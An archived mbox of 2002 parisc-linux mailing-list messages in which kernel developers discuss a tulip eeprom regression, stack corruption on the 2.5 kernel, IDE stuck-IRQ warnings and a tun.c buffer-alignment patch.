> +	if (ee_data[27] == 0 || ee_data[ee_data[27]] == 0) {  /* No valid media
> table. */

Like I suspected, backing out this change made add-on boards work again.
I've reverted that change in 2.4.20-pa15 along with a traps.c change.
Please apply by hand and try the 4-port again.

thanks,
grant


From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Wed, 18 Dec 2002 09:02:55 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20021218170254.GM19331@tausq.org>
References: <200212181637.gBIGb5r02708@localhost.localdomain>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622036 18799 80.91.229.3 (22 Nov 2014 02:07:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 09:59:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 472AE482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 09:59:41 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0E151CD64C; Wed, 18 Dec 2002 09:02:55 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200212181637.gBIGb5r02708@localhost.localdomain>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17146

> In debugging the problems, so far it has always been stack manipulation 
> instructions in the user level code causing this.  Further, on adding a 

ditto.... there's a note about this in the todo....

> register dump to the page fault debugging code, the reason is that the stack 
> pointer is way out of where it should be for a user process (around 0x4f000), 
> so I surmise it got clobbered on a rare return path from kernel to user.

> Does anyone have any additional information and pointers?  I'm trying to audit 
> entry.S to see if there is a little used path that can clobber the stack, but 
> my parisc assembly isn't the best...
> 

that's what i thought too, so i went through entry.S as well to see what
i can find. haven't found anything yet :(

i was able to get the kernel to die simply by having a program do
gettimeofday() in a loop with 2.5...  i would guess it's a case where we
have to do some work on the syscall return path (resched, softirq, etc)
that's clobbering things, but i don't know what it is.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Wed, 18 Dec 2002 10:01:28 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20021218170128.GB17944@dsl2.external.hp.com>
References: <20021217181901.GA2254@dsl2.external.hp.com> <3DED9A6600002207@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622036 18800 80.91.229.3 (22 Nov 2014 02:07:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:16 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 10:01:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CDB51482E; Wed, 18 Dec 2002 10:01:28 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3DED9A6600002207@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17147

On Wed, Dec 18, 2002 at 07:30:40AM +0100, jsoe0708@tiscali.be wrote:
> In eeprom.c I also suspect:
> line 193: if (ee_data[27] == 0 || ee_data[ee_data[27]] == 0) {
...
> and it works. Unforunately I do not have enough doc to actulay fix the pb.

I don't either. I made that change after reviewing the code and just
botched it. My understanding is jgarzik is rewriting tulip driver anyway.

grant


From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] use of the parisc logo?
Date: Wed, 18 Dec 2002 10:27:26 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20021218172726.GE17944@dsl2.external.hp.com>
References: <1040206605.3192.10.camel@eeyore.sspl.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622037 18802 80.91.229.3 (22 Nov 2014 02:07:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:17 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Peter Lavender <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 10:27:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1BF16482E; Wed, 18 Dec 2002 10:27:26 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1040206605.3192.10.camel@eeyore.sspl.net.au>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17148

On Wed, Dec 18, 2002 at 09:16:44PM +1100, Peter Lavender wrote:
> What's the go with use of the parisc logo on web pages?  Can I use it?

I'd think you'd need written permission from HP.
Can you send me off-list a brief (50 words or less) description of how you
want to use it that I can forward to a marketing/business person?

I'm amused that we've not (yet) placed it anywhere on the
parisc-linux.org web site. :^)

grant


From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ed Schaller <schallee@darkmist.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Wed, 18 Dec 2002 13:27:40 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20021218202740.GA2686@darkmist.net>
References: <20021216231132.GC854@dsl2.external.hp.com> <3DED9BBD0000213A@ocpmta7.freegates.net> <20021218165813.GA17944@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="sm4nu43k4a2Rpi4c"
X-Trace: ger.gmane.org 1416622037 18805 80.91.229.3 (22 Nov 2014 02:07:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:17 +0000 (UTC)
Cc: jsoe0708@tiscali.be, Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 13:27:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from grass.darkmist.net (landmine.darkmist.net [63.226.105.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF3804851
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 13:27:52 -0700 (MST)
Original-Received: from spore.darkmist.net (unknown [10.22.4.22])
	(using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits))
	(No client certificate requested)
	by grass.darkmist.net (Postfix) with ESMTP
	id 78D8A273F4; Wed, 18 Dec 2002 13:27:46 -0700 (MST)
Original-Received: by spore.darkmist.net (Postfix, from userid 500)
	id F19211E12; Wed, 18 Dec 2002 13:27:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021218165813.GA17944@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17149

--sm4nu43k4a2Rpi4c
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

> Like I suspected, backing out this change made add-on boards work again.
> I've reverted that change in 2.4.20-pa15 along with a traps.c change.
> Please apply by hand and try the 4-port again.

Seems to work fine. Thanks for all the help!

>>>------>

--

+-------------+-----------------------+---------------+
| Ed Schaller | Dark Mist Networking  | psuedoshroom  |
+-------------+-----------------------+---------------+

--sm4nu43k4a2Rpi4c
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+ANo88kiOCKEpeEERAkzgAJ4gDhK9uZJhVNioSayrG4EWT5yuRACdF5rb
tCdqn52XZgwcpwjdCyhjT0k=
=ackY
-----END PGP SIGNATURE-----

--sm4nu43k4a2Rpi4c--


From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Steindlberger <j@steindlberger.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still problems with PCI IDE controller
Date: Wed, 18 Dec 2002 22:08:34 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <courier.3E00E3ED.000010DA@server01>
References: <200212160609.XAA18500@udlkern.fc.hp.com> <1040050989.13786.23.camel@irongate.swansea.linux.org.uk> <courier.3E005801.0000711F@server01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622037 18808 80.91.229.3 (22 Nov 2014 02:07:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 14:09:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server01 (server01.steindlberger.de [217.115.138.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id A56BD482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 14:09:07 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
  (uid 0)
  by server01 with local; Wed, 18 Dec 2002 22:09:01 +0100
X-KMail-Transport: smtp://debian.sinnhq.de:25
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <courier.3E005801.0000711F@server01>
X-KMail-Identity: bei Moritz
Status: RO
X-Status: Q
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17150

Hi all!

I still do have problems with using my IDE controller with parisc-linux. =
I=20
get the following message onto my console when generation large traffic t=
o /=20
from my IDE disks:
hp-c240:~# dd if=3D/dev/ide/host0/bus0/target0/lun0/disc of=3D/dev/null
Dino f2000000: IRQ base 96, stuck IRQ lines? 0x2
Dino f2000000: IRQ base 96, stuck IRQ lines? 0x2
Dino f2000000: IRQ base 96, stuck IRQ lines? 0x2
[...]
The device using the IRQ 96 is the internal ethernet controller (not the =
IDE=20
controller!):
hp-c240:~# cat /proc/interrupts | grep 96
 96:      17424            Dino  eth0

Seems that there is still nobody else who tried to use cheap IDE disks wi=
th a=20
parisc machine :-(

For those who are interrested anyway: The reason that causes the kernel c=
rash=20
is the multimode option. You can either select it for native IDE support=20
(CONFIG_IDEDISK_MULTI_MODE=3Dy) or it is automatically selected with the=20
special drivers for i.e. Promise controllers.

Regards
Joerg

> hp-c240:~# modprobe -k ide-mod
> Uniform Multi-Platform E-IDE driver Revision: 6.31
> ide: Assuming 33MHz system bus speed for PIO modes; override with idebu=
s=3Dxx
> PDC20268: IDE controller on PCI bus 00 dev 08
> PDC20268: chipset revision 2
> PDC20268: not 100% native mode: will probe irqs later
>     ide0: BM-DMA at 0xfd00-0xfd07, BIOS settings: hda:pio, hdb:pio
>     ide1: BM-DMA at 0xfd08-0xfd0f, BIOS settings: hdc:pio, hdd:pio
> hp-c240:~# modprobe -k ide-probe-mod
> hdd: IBM-DTTA-351680, ATA DISK drive
> ide1 at 0xfb00-0xfb07,0xfc02 on irq 97
> hp-c240:~# modprobe -k ide-disk
> hdd: 33022080 sectors (16907 MB) w/462KiB Cache, CHS=3D32760/16/63
>  /dev/ide/host0/bus1/target1/lun0: [PTBL] [2055/255/63] p1
> hp-c240:~# mount /dev/ide/host0/bus1/target1/lun0/part1 /mnt/tmp
> (works with and without devfs)


From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still problems with PCI IDE controller
Date: Wed, 18 Dec 2002 14:24:55 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20021218212455.GG17944@dsl2.external.hp.com>
References: <200212160609.XAA18500@udlkern.fc.hp.com> <1040050989.13786.23.camel@irongate.swansea.linux.org.uk> <courier.3E005801.0000711F@server01> <courier.3E00E3ED.000010DA@server01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622038 18812 80.91.229.3 (22 Nov 2014 02:07:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joerg Steindlberger <j@steindlberger.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 14:24:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id DD9EB482E; Wed, 18 Dec 2002 14:24:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <courier.3E00E3ED.000010DA@server01>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17151

On Wed, Dec 18, 2002 at 10:08:34PM +0100, Joerg Steindlberger wrote:
> Dino f2000000: IRQ base 96, stuck IRQ lines? 0x2

The loop that reads and deMuxes the IRQ lines for Dino exits after
a few times in order to avoid monopolizing the CPU.
What that msg tells me is we are in the interrupt handler long
enough that the next eth0 interrupt is outstanding again.
I would guess this is because IDE is handling IO on the interrupt
stack (reading block data via PIO).

IDE in PIO Mode (ie not using DMA) does not play well with the
rest of the system.

You can usually ignore this msg.


> Seems that there is still nobody else who tried to use cheap IDE disks with a 
> parisc machine :-(

Nope. IDE is EEEeevil ;^)

grant


From - Thu Nov 08 21:26:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Steindlberger <j@steindlberger.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still problems with PCI IDE controller
Date: Wed, 18 Dec 2002 23:18:14 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <courier.3E00F419.0000601B@server01>
References: <200212160609.XAA18500@udlkern.fc.hp.com> <courier.3E00E3ED.000010DA@server01> <20021218212455.GG17944@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622038 18814 80.91.229.3 (22 Nov 2014 02:07:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 15:18:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server01 (server01.steindlberger.de [217.115.138.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFEA7485C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 15:18:07 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
  (uid 0)
  by server01 with local; Wed, 18 Dec 2002 23:18:01 +0100
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <20021218212455.GG17944@dsl2.external.hp.com>
Status: RO
X-Status: Q
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17152

Hi Grant

On Wednesday 18 December 2002 22:24, Grant Grundler wrote:
> IDE in PIO Mode (ie not using DMA) does not play well with the
> rest of the system.
Okay. I now set hdparm -c 1 /dev/... and hdparm -d 1 /dev/... -- before=20
starting the softwareRAID. The RAID1 is syncing this moment with about 2=20
Mbyte/s. I think I'll stop it now and mount the shorter 80pin cable again=
 and=20
play with some speed settings. My earlier problem with DMA was, that the=20
kernal crashed when setting the CONFIG_IDEDMA_AUTO=3Dy.
> Nope. IDE is EEEeevil ;^)
Yes, I know. But what would You pay for two 80 GB disks?

Regards
Joerg


From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] tun.c does not correctly align skb's
Date: Wed, 18 Dec 2002 15:16:56 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <20021218231656.GN19331@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622038 18815 80.91.229.3 (22 Nov 2014 02:07:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Daniel Podlejski <underley@underley.eu.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 16:16:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF6CE482E
	for <parisc-linux@parisc-linux.org>; Wed, 18 Dec 2002 16:16:11 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 3A666CD64C; Wed, 18 Dec 2002 15:16:56 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17153

Hi David,

While trying to get the tun/tap driver to work on parisc-linux, I found
that the driver does not deliver correctly aligned buffers to the
underlying layers. The attached patch fixes the problem. AIUI the +2 is
there in some net drivers to deal with the 4n+2 length of MAC headers.
Since you don't have a MAC header here the +2 is not required. In fact,
it will cause the buffers that are delivered to the checksuming routines
to be unaligned, which will either not work on some archs, or have
performance implications on others.

This was tested on 2.4.19(-pa22).

--- drivers/net/tun.c.orig	2002-12-18 15:02:45.000000000 -0800
+++ drivers/net/tun.c	2002-12-18 15:03:30.000000000 -0800
@@ -194,12 +194,11 @@
 		memcpy_fromiovec((void *)&pi, iv, sizeof(pi));
 	}
  
-	if (!(skb = alloc_skb(len + 2, GFP_KERNEL))) {
+	if (!(skb = alloc_skb(len, GFP_KERNEL))) {
 		tun->stats.rx_dropped++;
 		return -ENOMEM;
 	}
 
-	skb_reserve(skb, 2);
 	memcpy_fromiovec(skb_put(skb, len), iv, len);
 
 	skb->dev = &tun->dev;


randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still problems with PCI IDE controller
Date: Wed, 18 Dec 2002 16:59:15 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20021218235915.GH17944@dsl2.external.hp.com>
References: <200212160609.XAA18500@udlkern.fc.hp.com> <courier.3E00E3ED.000010DA@server01> <20021218212455.GG17944@dsl2.external.hp.com> <courier.3E00F419.0000601B@server01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622039 18817 80.91.229.3 (22 Nov 2014 02:07:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joerg Steindlberger <j@steindlberger.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 16:59:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A6628482E; Wed, 18 Dec 2002 16:59:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <courier.3E00F419.0000601B@server01>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17154

